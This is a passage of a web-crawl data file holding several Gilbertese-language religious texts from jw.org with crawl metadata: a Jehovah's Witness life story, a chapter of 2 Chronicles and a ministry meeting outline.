bwa e \"na katanoataa te inaomata nakoia taenikai . . . , ao ni kainaomataia ake a karawawataaki.\" (Ruka 4:18) E nanonaki iai bwa a na boni kainaomataaki tooro ni kabane? Tao e aki. E kanakomaiakaki Iesu bwa e na kainaomataia aomata aika tautoronaki n te bure ao n te mate. E taekinna imwina riki ni kangai: \"E na kainaomataingkami te koaua.\" (Ioane 8:32) A kainaomataaki naba aomata n aanga aika bati ni boong aikai ni koaua ake e angareirei iai Iesu.\nE boni buoka Blessing ao Ioteba te Atua bwa a na inaomata man taian tautoronaki, n aanga aika kakaokoro. Ko kona n nora rongorongon Ioteba ni mwakoro 39 nakon 41 ni bokin te Baibara ae Karikani Bwaai. E rangi ni kakaongora naba aroni kainaomataani Blessing.\nImwini kanakoani Blessing man aban teuana Eurobe, ao e a nako Tibein. Ikanne are e a kaitiboo iai ma Ana Tia Kakoaua Iehova ao e a moana ana reirei n te Baibara ma ngaiia. E motinnanoia neiei bwa e na kanakoraoa maiuna. E a reke ana mwakuri ae kabwanina ana tai iai ao e a anaa nanon te aine are e mwakuri ngkoa irouna arei, bwa e na kauarerekea riki ana kabwakamwane nakoina ni katoa namwakaina ibukini kabwaraan ana taarau. N te bong teuana ao e a tarebooniaki Blessing iroun te aine arei. E a kani kainaomataa Blessing man ana taarau ao e a butiia neiei kabwaraan ana bure. Tera ae riki? E a tia naba te tia kammwakuri aei ni moana ana reirei n te Baibara ma Ana Tia Kakoaua Iehova! E taku Blessing: \"E boni kainaomatako te koaua n aanga aika kamimi.\"\nE namakina te nanokawaki Iehova ae te Atua ni karawawataaia tooro ake tibun Iteraera i Aikubita. E na bae n namakina naba anne ni kaineti ma taian ribuaka aika ai aron akanne ni boong aikai. Ni koauana, katokan te waaki ae tautoronakia aomata n aekana nako e na bon tangiraki iai te bitaki ae korakora nakon ana waaki te botannaomata. Ma e berita te Atua bwa e na karokoa te aeka ni bitaki anne ngke e kangai: \"Ni kaineti ma ana berita, ti kariariaa karawa ae boou ao te aonnaba ae boou, ae e na mena iai te raoiroi.\"","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na2-2017-maati\/te-birinako-man-te-tautoronaki\/","date":"2018-03-24T10:28:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257650188.31\/warc\/CC-MAIN-20180324093251-20180324113251-00570.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1380,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"I BUNGIAKI n 1927 ni kaawan Wakaw ae uarereke, i Saskatchewan, i Kanata. Bon ngaira itiman iroun Tamara ao Tinara bwa aman mwaane ao teniman aine, ngaia are I a kaman ataa aron te maiu i buakoia aomata.\nA rotaki ara utu n te kainnano imwini bwakani kaubwain te aba n 1930 tabun, ae ataaki bwa bongin te Rawawatannano ae Korakora. Ti aki kaubwai ma e bon rereke naba kanara. Iai ara moa tabeua ao ara kao temanna, ngaia are ti aki roko n te tare n te bunnimoa, te miriki, kuriimin te miriki, te tiiti ao te bwata. N aron ae ko kona n iangoia, a bane kaain ara utu n ibuobuoki ibukini kawakinaia maan ke mwioko riki tabeua n te mwenga.\nA bati taai aika kakukurei ake I teimatoa n uringi, n aroni kamaiuni boin aboro ake a taona nanako nanon te ruu. N taai akanne, ngkana e nako n te kaawa Tamara ni kabooinako bunnimoa n tain te kabuebue, e na bae n oki n taai nako ma te bwaoki n aboro aika a tibwa kinikaki. Ai kakaitaura ngaira ngkai ti kona ni moi n ranin te aboro ni katoa ingabong!\nA BUTIMWAEA TE KOAUA ARA UTU\nBon onoua au ririki ngke a butimwaea te koaua au utu. E a bon tibwa mate aia moan nati te mwaane ae Johnny imwini bungiakina. A titiraki au karo ake a rotaki n te rawawata nakon te mitinare n aia tabo, ni kangai: \"E a mena ngkai ia Johnny?\" E taku te mitinare bwa ngkai e tuai ni bwabetitoaki te teei, e a aki mena i karawa, ma e mena i Rimbo. E taekinna naba bwa e kona n tataro ibukini kaotinakoan Johnny mai Rimbo ao n nako karawa, ngkana e kabooaki n te mwane irouia au karo. Tera am namakin iai? A rangi n un Tamau ma Tinau ao a rawa ni kani manga kataetaea te mitinare arei. Ma, a teimatoa ni kan ataia bwa tera ae e riki ngkai iroun Johnny.\nN te bong teuana, e a kunea Tinau te boki ae uarereke ae atuna Where Are the Dead? are boreetiaki irouia Ana Tia Kakoaua Iehova. E warekia ngkekei naba ma ingaingan nanona. Ngke e a oki Tamau nakon te auti, e taku nakoina ma te kukurei: \"I a ataa te tabo ae mena iai Johnny! E boni matu ngkai, ma e na kautaki n te tai teuana.\" E wareka kanoan te boki arei ni kabane tamau n te tairiki anne. A karauaki nanoia au karo n otaia man te Baibara bwa a matu maate ao iai te mangauti n te tai ae na roko.—TeMin. 9:5, 10; Mwa. 24:15.\nE bitaki maiura nakon ae raoiroi riki bwa e reke te raunnano ao te kukurei man te bwai are a a oota iai. A a moana te reirei man te Baibara ma Taani Kakoaua ao a iriri bobotaki n te ekaretia ae uarereke i Wakaw, are a angiina kaaina a roko mai Ukraine. N te tai ae aki maan, a uataboa te mwakuri n uarongorongo Tinau ao Tamau.\nE aki maan imwin anne, ti a kamwaingaki nakon te British Columbia ao a butimwaeira ma te akoi kaain te ekaretia iai. I ururing rikaaki ma te kimwareirei irouia au utu, n aia katauraoi n Te Taua-n-Tantani ibukini botaki ni katoa Taabati. Ti bane ni karikirakea tangiran Iehova ae korakora ao te koaua man te Baibara. I a kona n nora maiura bwa e a nakoraoi riki ao aron Iehova ni kakabwaiaira.\nE teretere raoi bwa e aki rangi ni bebete iroura ngaira ataei bwa ti na taekina ara koaua nakoia aomata. Ma te bwai teuana ae rangi n ibuobuoki, bwa I aki toki ma tariu ae uarereke riki ae Eva, ni katauraoi ibukini karaoan te kaotioti n tain te mwakuri ni minita ao n te Botaki Ibukin te Uarongorongo. Bon te anga ae rangi n tamaroa ibukira, e ngae ngke ti maamaa ni maroro man te Baibara ma tabeman. I rangi ni kakaitau ibukini kataneiakira n uarongorongo!\nTe bwai teuana ae kakawaki are ti ururinga n uarerekera, bon tikuia i rarikira taari ake a kabwanina aia tai ni beku iroun Iehova. N te katoto, ti kukurei n te tai are e kawara ara ekaretia Jack Nathan, ae ara mataniwi ae mwamwananga ao n tiku iroura. * A rangi ni kakukurei ana karaki aika bati ao ti kairaki n ana taeka ni kaungaunga, bwa ti na tangiria ni beku iroun Iehova ma te kakaonimaki.\nI ururinga aei: \"N na katotonga Brother Nathan ngkana I a ikawai.\" Ma I a tibwa ataia rimwi riki, ae e buokai ana katoto ibukini katauraoau n te beku ae teimaan, ae kabwaninan au tai. Ngke ai 15 au ririki, I a motinnanoia ni beku ibukin Iehova. I boni bwabetitoaki ma Eva n 1942.\nKATAAKIN ARA ONIMAKI\nN te Kauoua ni Buaka Are Kabutaa Aonnaba, ngke e a korakora iai te nano n aba ao e kabaneia uoman tariu ao temanna mwaaneu, te tia reirei ae Miss Scott ae rangi n riribaa ara Aro. Bukin tera? Ibukina bwa a rawa n tiaruuti nakon te buraeki. Imwin anne, e a manga tuanga au tia reirei neiei ao e kairoroia bwa e na kabaneai. Ma e taku au tia reirei: \"Ti maeka n te aba ae a inaomata iai aomata n rinea ae a na karaoia, ao iai inaomatara n rawa nakoni bukamaru aika iai te nano n aba iai.\" E ngae ngke e rangi ni kairoro Miss Scott, ma e kamatoaa n taku au tia reirei: \"Aio bon au motinnano.\"\nE kaeka ni kangai Miss Scott: \"E bure anne, bwa bon tiaki am motinnano. N na ribootiniko ngkana ko aki kabanea Melita.\" E kabwarabwaraa au tia reirei nakoia au karo bwa ngkai e tangira ana mwakuri, ai akea ana anga ma e riai ni kabaneai, e ngae ngke e kakoauaa ae e bure te bwai ae karaoaki. N aki ongea anne, ti karekei booki n reirei ake ti kona ni kamatebwai iai n te auti. E aki maan imwin anne, ti a mwaing nako 20 tabun te maire (32 te kiromita), ike ti a karinaki n te tabo n reirei teuana iai.\nA katabuaki i aan te tua noran ara boki n ririki ake e korakora iai te buaka, ma ti teimatoa ni mamaroro ma te Baibara man te auti teuana ma teuana. Ibukin anne, ti a rikirake ni mwaatai n tibwaa rongorongon te Tautaeka n Uea, ni kabonganai kiibu mai iai. Ao anne are ti a rikirake iai n te aro n taamnei ao n namakina ana boutoka Iehova.\nKARAOAN TE MWAKURI NI BWAIANIA\nImwin te tai are e bane iai ara kauarinan ngai ma Eva, ti a karina arara ibukin te bwaiania. I mwakuri moa n te titooa ae kaboonakoi amwarake ibukin au kareketianti. Ni waakinakon te tai, I a karaoa te reirei ae onoua namwakaina manna i aon te karao ira, ae te bwai ae I tatangiria ni karaoia ni mwengara. I mwakuri n te tabo ni karao ira teuana, uoua te bong n te wiki ao n angareirei naba iai, uoua te tai n te namwakaina. Ikanne are I a kona iai ni boutokaai n au mwakuri ni bwaiania.\nI kaei bwabwaro n 1955 ma te boto n iango iai ae \"Triumphant Kingdom\" i New York, U.S.A. ao i Nuremberg, Tiaman. Ma imwain ae I nako New York, I kaitiboo ma Brother Nathan Knorr mani kautun ara botaki ni katobibia te aonnaba. E kaea te bwabwaro ma buuna i Vancouver, i Kanata. N rokoia n ara tabo, I a butiiaki bwa N na karaoa iran Sister Knorr. E kukurei Brother Knorr n noran iran buuna, ao e a kani kaitiboo ma ngai. Ngke ti maroro, I tuangnga bwa I iangoa te tiku i New York imwain nakou nako Tiaman. E kaoai bwa N na mwakuri i nanon ruaiwa te bong n te Betaera i Brooklyn.\nE bita maiu te mwananga anne. N rokou i New York, I a kaitiboo ma te tari te mwaane temanna ae arana Theodore (Ted) Jaracz. Ni kaitiboou ma teuaei n te tai ae uarereke, I mimi ngke e titirakinai ni kangai: \"Ko bwaiania?\" I kaekaa ni kangai: 'I aki.\" E ongongo raoraou ae LaVonne ao e karina ana taeka n taku: \"Eng, e bwaiania.\" E mimi Ted ao e titirakina LaVonne: \"Anaia, antai riki ae ataa te rongorongo, ngkoe ke neienne?\" I kabwarabwaraa ae I a tia ni bwaiania ao I iangoia ni manga waekoa ni waakinna, ngkana I oki man taiani bwabwaro.\nI MARE MA TE MWAANE AE RANGI N TANGIRA IEHOVA\nE bungiaki Ted n 1925 i Kentucky, U.S.A., ao e kaota katabuani maiuna nakon Iehova ngke 15 ana ririki. E ngae ngke akea kaain ana utu aika a butimwaea te koaua, ma e riki bwa te urekura bwaiania uoua te ririki imwina. Ikanne are e a waakina kabwaninan ana beku ibukin Iehova, n te maan ae kaania 67 te ririki.\nE kaaina te kaitiua n reirei n te Kuura ni Kireata ao e angabeeba n Turai 1946 ngke 20 ana ririki. Imwin anne, e a manga riki bwa te mataniwi ae mwamwananga i Cleveland, Ohio. Aua tabun te ririki imwina, e a manga mwiokoaki bwa e na mataniwi n te aobiti n tararua i Aotiteria.\nN rokon Ted n te bwabwaro i Nuremberg, i Tiaman ao ti kabanei boong tabeua ni kaai ni mamaroro iai. Ikanne are e a rikirake iai ara tangira. I rangi ni kukurei bwa a boto tiana ibukin Iehova ma nanona ni koaua. Bon te aomata ae rangi n ingainga, e tangira ana beku ao e akoi mani kukukurei n aroarona nako. I namakinna ae e karimoai moa nanoia aomata nakoina. Imwin te bwabwaro anne, e okira Aotiteria ao I oki ngai nako Vancouver, ma ti teimatoa n reitaki n te reta.\nE okira te United States Ted imwin nimaua tabun te ririki ni menana i Aotiteria ao imwina, e a manga roko i Vancouver ni bwaiania iai. I kukurei n noraia au utu bwa a rangi n tatangiria. Michael boni mwaaneu ae ikawai riki are e rangi ni mamataukiroai, ao e aki toki ni kaota tabeaiangana ngkana e kataetaeai Ted. E ngae n anne, e rikirake Michael n tatangiria. E taku: \"Ko kabwaia Melita iroun te mwaane aio. Ko riai n tabeakinna raoi ao iangoia bwa e na reke iroum.\"\nE rikirake naba tangiran Ted irou. Ti mare n Ritembwa 10, 1956. Ti kaai ni bwaiania i Vancouver, imwina i California ao imwina riki, ti a mwiokoaki n te mwakuri ni mwamwananga i Missouri ao Arkansas. A kakaokoro utu ake ti tiku irouia n te maan ae 18 tabun te ririki, n ara tai ni mwamwananga n aonon nako te United States ae bubura. A bati baika ti rinanoi aika kakukurei n te mwakuri ni minita, n ikotaki naba ma kakimwareirein te iraorao ma tarira n te onimaki. E ngae ngke e aki bebete te mwaing man te tabo teuana ma teuana ni katoa wiki, ma ti kukurei ni mwiokoara aei.\nTe bwai ae I rangi ni kamoamoaa iai Ted, bwa e aki iaiangoa ana iraorao ma Iehova ibukini kakabwaiaana. E rangi ni kakawaki irouna ana beku ae tabu ibukin te Aomata ae moan te rietata n te iuniweeti. Ti tatangiria ni kaai ni wareware ao n reiakina te Baibara. Imwaini matura n te bong, ti katorobubua irarikin te kainiwene ao e tataro ibukira. Imwin anne, ti a manga bon tataro i bon iroura. I aki toki n ataia ngkana iai te kangaanga teuana ae tabeaianga iai Ted. E na bae n teirake man te kainiwene, e a manga katorobubua ao n tataro i nanona n te tai ae maan. I rangi ni kamoamoaa n arona n tataroi kangaanga aika a bubura ao n uarereke.\nTabeua te ririki imwini marera, e kabwarabwaraa Ted nakoiu bwa e nang moana katoongani banna ni kauring n tain te Kauring. E taku: \"I kakorakoraai n tataroakina aei bwa e bon eti ke aki te bwai ae I karaoia ngkai ae e tangirai Iehova bwa N na karaoia.\" I bon aki kubanako iai ngkai e a tia ni kabiraki n taamnein te Atua bwa e na beku i karawa n tokin te tai. I noria ae bon te kakabwaia boutokaan temanna tarin Kristo.—Mat. 25:35-40.\nTE TABO AE BOOU N ARA BEKU IBUKIN TE ATUA\nTi rangi ni mimi bwa n 1974, e a kaoaki Ted bwa e na riki bwa temanna kaain te Rabwata n Tautaeka ibukia Ana Tia Kakoaua Iehova. Teutana te tai imwina, ti a tuangaki bwa ti na beku n te Betaera i Brooklyn. E karaoi mwiokoana man te Rabwata n Tautaeka Ted, ao ngai I kaitiaki ruu ke I mwakuri n te tabo ni karaoi ira.\nE kawari aobiti n tararua aika kakaokoro Ted, ngkai iteran naba ana mwakuri. E tatangira riki te uarongorongo n aaba ake a mena i aan te komuniti. E taku Ted n te tai teuana are ti rangi n tangira iai te motirawa i Sweden: \"Melita, e a katokaki te mwakuri n uarongorongo i Poland ao I tangiria ni buokiia taari iai.\" Ngaia are, ti a karekea kariaiakara n rin i Poland ao n nako iai. E kaitiboo Ted ma tabeman taari ake a tabeaianga n ara mwakuri, ao a nakonako ni kararoaia bwa a aonga n akea ae a ongongo aia maroro. A korakora ingaingaia taari aikai ni kakaitiboo ni boong aika aua, ma I kukurei n noran Ted ni buokiia ana utu n te onimaki.\nTi a manga kawara riki Poland n Nobembwa 1977. A boni karaoa moani mwanangaia kaain te Rabwata n Tautaeka, aika F. W. Franz, Daniel Sydlik ao Ted. E teimatoa ni katokaki ara mwakuri, ma a bon reke naba angaia naakai ni maroro i nanoni kaawa aika bati ma mataniwi, bwaiania ao taani Kakoaua ake a maan n te onimaki.\nN te ririki are imwina, ni kawaran Poland iroun Milton Henschel ao Ted, a kaitiboo ma mataniwi n te tautaeka ake a rangi n riribaira ma ara mwakuri. N 1982, a kariaiakaki tarira man te tautaeka ni Poland bwa a na waakin ruunga aika kaka teuana bongia. N te ririki are imwina, a a karaoaki bwabwaro aika buburakaei ao a boo angiina n taabo aika bubura ake a kabooaki tangoaia. E ngae ngke e bon teimatoa ni kainaki ara mwakuri n 1985, ma ti kariaiakaki ni waakin bwabwaro aika aua n taabo n takaakaro aika bubura. Imwina ni Mei 1989, ngke a tabe ni karaoaki babaire ibukini waakinani bwabwaro aika buburakaei riki, e a kaukaki ao ni kinaaki aia mwakuri Ana Tia Kakoaua Iehova n te tautaeka ni Poland. Iai baika riki ake a kakorakoraa kimwareirein Ted.\nTE KEKEIAKI RIBUAKONI KANGAANGA N TE AORAKI\nN 2007 ao ti na mwananga ni kaea katabuan te aobiti n tararua teuana, i Aberika Maiaki. Ni menara i Engiran, ao e a reke te rietata n raraa iroun Ted ao e kauringnga te taokita bwa e riai n taona mwananga. Ngke e a marurung, ti a manga okira te United States. Ma tabeua te wiki imwina, e a boo ike e aki kona ni kammwakura angaataina.\nE tabe ni marurung teutana imwin teutana ao n te tai anne, e a aki kona ni mwakuri n te aobiti. Ma ti kakaitau bwa e aki rotaki ana taetaenikawai. N aki ongei ana kangaanga, e kataia ni waakini baike e kakaraoi ao e anga naba ana ibuobuoki n aia boowi ni katoa wiki kaain te Rabwata n Tautaeka, rinanon te tareboon man ara katangaina.\nE rangi ni kakaitau Ted ni karaoan te kamarurung nakon rabwatana are karekea n te Betaera. E a kona ni kakammwakura angaataina teutana imwin teuana. E a kona naba ni karaoi mwiokoana tabeua n ana botaki te Atua, ao e kukukurei n taai nako.\nE a manga boo riki tenua te ririki imwina, ao e motirawa ma te rau n te Katenibong, Tun 9, 2010. E ngae ngke I a ataia ae e a mena i karawa Ted, ma I bon aki kona ni kabwarabwaraa te maraki are I rinanona ni buana ao uringakina ae korakora. I teimatoa ni kaitaua Iehova ni katoabong, n te baere I kona ni karaoia ni boutokaa iai Ted. Ti kukurei ni kabwanina ara tai ni beku i nanon 53 tabun te ririki. I karabwaa Iehova ibukin Ted bwa e a tia ni buokai bwa N na kaaniai riki ma Tamau are i karawa. I aki nanokokoraki ngkai, bwa e a tia n reke kimwareireina ae bati ao raun nanona ni mwiokoana ae boou.\nKAITARAANI KANGAANGA AIKA BOOU NI MAIU\nImwin ririki ni mwakuri aika rangi ni bati mani kakukurei ma kaainnabau, e a aki bebete karaoani bitaki ibukini kangaanga aika ngkai. I tatangiria ma Ted ni kaitiboo ma iruwa n te Betaera ao n ara Tabo n Taromauri. Ngkai ai akea buu ae Ted, e a kerikaaki karaoan anne irou n aron are rimoa, ao e a karako riki iai au iraorao. E ngae n anne, I teimatoa ni karekea kukureiu i rarikia tariu ao mwaaneu n te Betaera ao n te ekaretia. E kangaanga teutana irakini baike a kakaraoaki n te Betaera, ma bon nibwan te kukurei te kona ni beku ibukin te Atua ni karaoan aei. Ao e bon aki kerikaaki tangiran te mwakuri n uarongorongo irou. E ngae ngke I kua ao n aki kona n tei n te tai ae maan, ma I karekea te raunnano ae bati man uataboan te uarongorongo ni kawain te botannaomata ao ni kairi reirei n te Baibara.\nAi kakukureira irou te beku ibukin Iehova ma buu ae rangi n tamaroa arona, e ngae ngke I nori baika riki aika bubuaka n te aonnaba aei! E a tia ana kakabwaia Iehova ni katamaroa riki maiu.—TaeRab. 10:22.\n^ bar. 13 E koreaki rongorongon Jack Nathan n Te Taua-n-Tantani, ae bwain Tebetembwa 1, 1990-E, i. 10-14.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20150915\/melita-jaracz-kakabwaia-ni-maiu\/","date":"2018-03-18T00:50:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645405.20\/warc\/CC-MAIN-20180317233618-20180318013618-00796.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2931,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.447,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"29 Bon 25 ana ririki Etekia+ ngke e riki bwa te uea, ao e tautaeka i Ierutarem i nanon 29 te ririki. Aran tinana Abiia are natin Tekaria.+ 2 E teimatoa ni karaoa ae eti i matan Iehova,+ n aron are e karaoia Tawita are ana bakatibu.+ 3 N ana moan ririki n tautaeka teuaei, n te moan namwakaina, ao e kauki mataroan ana auti Iehova ao e karaoa te onobwai nakoni baikai.+ 4 Ao e kairiia ibonga* ma tibun Rewi ao e ikotiia n te marae nako mainiku. 5 E taku nakoia: \"Ongora irou ngkami aika tibun Rewi. Kam na katabuingkami* ngkai+ ao katabua ana auti Iehova ae Atuaia ami bakatibu, ao kanakoa te bwai ae kamwara man te tabo ae tabu.+ 6 Bwa a a tia n aki kakaonimaki tamara ao ni karaoa ae buakaka i matan Iehova ae Atuara.+ A kitanna ao a aki kaota karinean ana umwanrianna ae tabu* Iehova ao a katannako mairouna.+ 7 A kaini naba mataroan te kaman*+ ao a tiringi taian taura.+ A katoka kabuekani baika boiarara+ ma kareanakini karea ni kabuekaki+ n te tabo ae tabu nakon Atuan Iteraera. 8 Mangaia ae e a roko unin Iehova i aon Iuta ao Ierutarem,+ n te aro are e a karaoiia bwa te bwai ni kakamaaku ao ni kamiroaroa ao te bwai ni katiitii,* n aron ae kam kona n noria ni matami.+ 9 A bwaka ara bakatibu n te kabaang,+ ao a irinako bwa taenikai ibukin aei natira mwaane, natira aine, ao buura.+ 10 Bon nanou ngkai bwa N na karaoa te berita ma Iehova ae Atuan Iteraera,+ bwa e aonga n rairakinako uraraken unna mairoura. 11 Natiu, tiaki te tai ngkai n aoaori,* bwa e rineingkami Iehova bwa kam na tei i matana, bwa kam na beku bwa ana tabonibai,+ ao ni kabueki ana karea ni kabubui.\"+ 12 Ngaia are a teirake tibun Rewi ae Maiata ae natin Amatai ao Ioera ae natin Ataria ake tibuni Koata,+ ao mairouia tibuni Merari+ boni Kiti ae natin Aberi ao Ataria ae natin Iearerera, ao mairouia tibuni Kerition+ bon Ioa ae natin Timma ao Eten ae natin Ioa, 13 ao mairouia tibun Eritaban bon Timiri ao Ieura, ao mairouia tibun Ataba+ bon Tekaria ao Matania, 14 ao mairouia tibun Eman+ bon Ieiera ao Timei, ao mairouia tibun Ierutun+ bon Temaia ao Utiera. 15 Ao a ikotiia tariia ao a katabuia i bon irouia ao a roko, n aron are e tua te uea ni kaineti ma ana taeka Iehova, bwa a na kaitiaka ana auti Iehova.+ 16 A rinnako ngkanne ibonga i nanon ana auti Iehova bwa a na karaoa te kaitiaki, ao a kaotinakoi bwaai ni kabane aika kamwara ake a nori n ana tembora Iehova, ao a anai nakoni katawanangin+ ana auti Iehova. A anai ngkanne tibun Rewi ao a uotii nako tinaniku nakon te Mwarua ae Kiteron.+ 17 Mangaia are a moana te kaitiaki ni katabu ni moani bongin te moan namwakaina, ao a roko n ana kaman Iehova+ n te kawanua ni bong n te namwakaina naba anne. A katabua ana auti Iehova i nanoni wanua te bong, ao e toki n te ka-16 ni bong n te moan namwakaina. 18 Imwin anne ao a rin nakon te Uea ae Etekia ao a taku: \"Ti a tia ni kaitiaka ana auti Iehova ni kabutaa, baonikarean te karea ni kabuekaki+ ma bwaini mwakuriana nako,+ ao taiboran te bwerena* are kauaataoaki+ ma bwaini mwakuriana nako. 19 Ao ti a tia ni katauraoi ma ni katabui+ bwaai ni mwakuri nako ake e kanakoi te Uea are Aati n ana tai n tautaeka ngke e aki kakaonimaki,+ ao ake a a mena ngkai i matan ana baonikarea Iehova.\" 20 Ao e utimwaaka te Uea ae Etekia ao e ikotiia tokan te kaawa, ao a waerake nakon ana auti Iehova. 21 A kairiia kaao mwaane aika itiman, tiibu mwaane aika itiman, tiibutetei aika mwaane aika itiman, ao kooti mwaane aika itiman, bwa te karea ni kabwarabure ibukin te tautaeka n uea, ibukin te tabo ae tabu, ao ibukia kaain Iuta.+ Mangaia are e tuangia ibonga ake kanoan Aaron, bwa a na karean i aon ana baonikarea Iehova. 22 Ao a tiringaki kaao+ ao a anaa te raraa ibonga ao a katimtimmwa i aon te baonikarea.+ Imwina ao a tiringia tiibu mwaane ao a katimtimwi raraaia i aon te baonikarea, ao a tiringia tiibutetei aika mwaane ao a katimtimwi raraaia i aon te baonikarea. 23 Ao a kairiia kooti mwaane bwa te karea ni kabwarabure nako matan te uea ma te botaki n aomata ao a katokai baia i aoia. 24 Ao ibonga a tiringia ao a karaoa te karea ni kabwarabure n raraaia i aon te baonikarea, ibukini karekeani kabwaraan aia bure tibun Iteraera ni kabane, ibukina bwa e taku te uea bwa te karea ni kabuekaki ao te karea ni kabwarabure, bon ibukia tibun Iteraera ni kabane. 25 N te tai aei ao e kateiia tibun Rewi n ana auti Iehova ma timbara, bwaai ni katangitang aika iai karaiia, ao abi,+ ao a kakairi n tuan te anene are e kateia Tawita,+ ma Kata+ are ana tia nori miitara te uea ao Natan+ are te burabeti, bwa e roko tuana anne mairoun Iehova rinanoia burabeti. 26 Mangaia are a tei tibun Rewi ma bwaai ni katangitang ake ana bwai Tawita, ao ibonga ma taiani buu.+ 27 E tua ngkanne Etekia bwa e na kareanaki te karea ni kabuekaki i aon te baonikarea.+ Ngke e a moanaki kareanakin te karea ni kabuekaki, ao e a moanaki naba te anene ibukin Iehova ao taiani buu naba, ni kakairi n te kaetieti ibukini bwaai ni katangitang ake ana bwai Tawita are Uean Iteraera. 28 Ao e bobaraaki te botaki n aomata ngke e aneneaki te kuna anne ao a tang taiani buu, ao e waakinako aei ni karokoa banen te karea ni kabuekaki. 29 Ao ngke a tia naba ngkekei n angakarea, ao e katorobubua ni bobaraaki i aontano te uea ma te koraki nako ake raona. 30 Ao te Uea ae Etekia ma tooka a tuangia tibun Rewi bwa a na neboa Iehova n ana areru Tawita+ ma Ataba+ are te tia nori miitara. Ngaia are a anga aia nebonebo ma te kimwareirei ae bati, ao a katorobubua ni bobaraaki i aontano. 31 Ao e taku Etekia: \"Ngkai kam a tia ni kaokoroingkami* ibukin Iehova, nakomai ao uotii taiani karea ma karea ni katituaraoi nakon ana auti Iehova.\" Mangaia are a a uotii taiani karea ma karea ni katituaraoi te botaki n aomata, ao a bane aomata n uotii karea ni kabuekaki ma nanoia ni kan anga.+ 32 Mwaitin taiani karea ni kabuekaki ake a uotii te botaki n aomata arei bon 70 kaao, 100 tiibu mwaane, 200 tiibutetei aika mwaane, bwa te karea ni kabuekaki nakon Iehova baikai ni kabane,+ 33 ao karea aika tabu bon 600 kaao ao 3,000 tiibu. 34 Ma a aki tau mwaitiia ibonga aika a na kuoti kunin taiani karea ni kabuekaki ni kabane, mangaia are a a buokaki irouia tariia ake tibun Rewi+ ni karokoa banen te mwakuri ao ni karokoa ae a a kona ibonga ni katabuia i bon irouia,+ bwa a mumutiakina* riki katabuaia i bon irouia tibun Rewi nakoia ibonga. 35 Ao a bati naba taiani karea ni kabuekaki,+ ao mwakorokoroni mwaeten taiani karea n raoi+ ao te karea ae te moi ibukin taiani karea ni kabuekaki.+ Mangaia are e a manga kaokaki* te beku n ana auti Iehova. 36 Ao e kimwareirei Etekia ma aomata ni kabane ibukin te baere e karaoia te Atua ae koaua ibukia aomata,+ bwa e rina n riki aei.\nTaiani Kabwarabwara Mai Nano\n^ Nora Nanon Taeka.\n^ Ke, \"kaokoroingkami ibukin te Atua.\"\n^ Nora Nanon Taeka.\n^ Ae taekan te tabo n rin ae mena i moan te tembora.\n^ Ke, \"ni bwainingare.\"\n^ Ke, \"ni motirawa.\"\n^ Ae taekan te bwerena ae kaotiotaki.\n^ Ebera, \"Ngkai kam a tia ni kaoni baimi.\"\n^ Ebera, \"eti nanoia.\"\n^ Ke, \"katauraoaki.\"","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-rongorongo\/29\/","date":"2018-03-20T10:51:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647327.52\/warc\/CC-MAIN-20180320091830-20180320111830-00191.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1278,"character_repetition_ratio":0.082,"word_repetition_ratio":0.003,"special_characters_ratio":0.236,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"AWAKE!\nTitiraki: Boni mairoun te Atua te Baibara? Ke te boki ae kanoana aia iango aomata?\nKibu: 2Ti 3:16\nAnganako: Iai n te Awake! aei bwaai ni kakoaua aika tenua ae taekinaki iai bwa boni mairoun te Atua te Baibara.\nREIREINIA AOMATA TE KOAUA\nTitiraki: Tera arora ae riai n iangoan te bwaintangira ae te maiu?\nKibu: Kao 4:11\nKoaua: Kioina ngkai bon ana bwaintangira te Atua te maiu, ti riai ni karinea. Ti tararuaa maurira n taai nako ao n aki iangoia bwa ti na aana maiun temanna. E kakawaki iroura te bwaintangira ae te maiu.\nTERA KIINGIN TE MAIU AE KAKUKUREI N TE UTU?\nTitiraki: Nora te titiraki ni moan te turaeki aei ma kaeka tabeua iai. Tera am iango?\nKibu: Rk 11:28\nAnganako: E kabwarabwaraaki n te turaeki aei manenana ibukin am utu ao bukina ngkai ti kona n onimakina raoi ana taeka te Baibara.\nKARAOA OIN AM MARORO\nKabonganai katoto akana a tia ni kaotaki ni karaoa iai oin am maroro n te mwakuri ni minita.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/tun-2017-mwb\/aron-te-maroro-n-te-mwakuri-ni-minita\/","date":"2018-03-24T05:19:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257649683.30\/warc\/CC-MAIN-20180324034649-20180324054649-00000.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 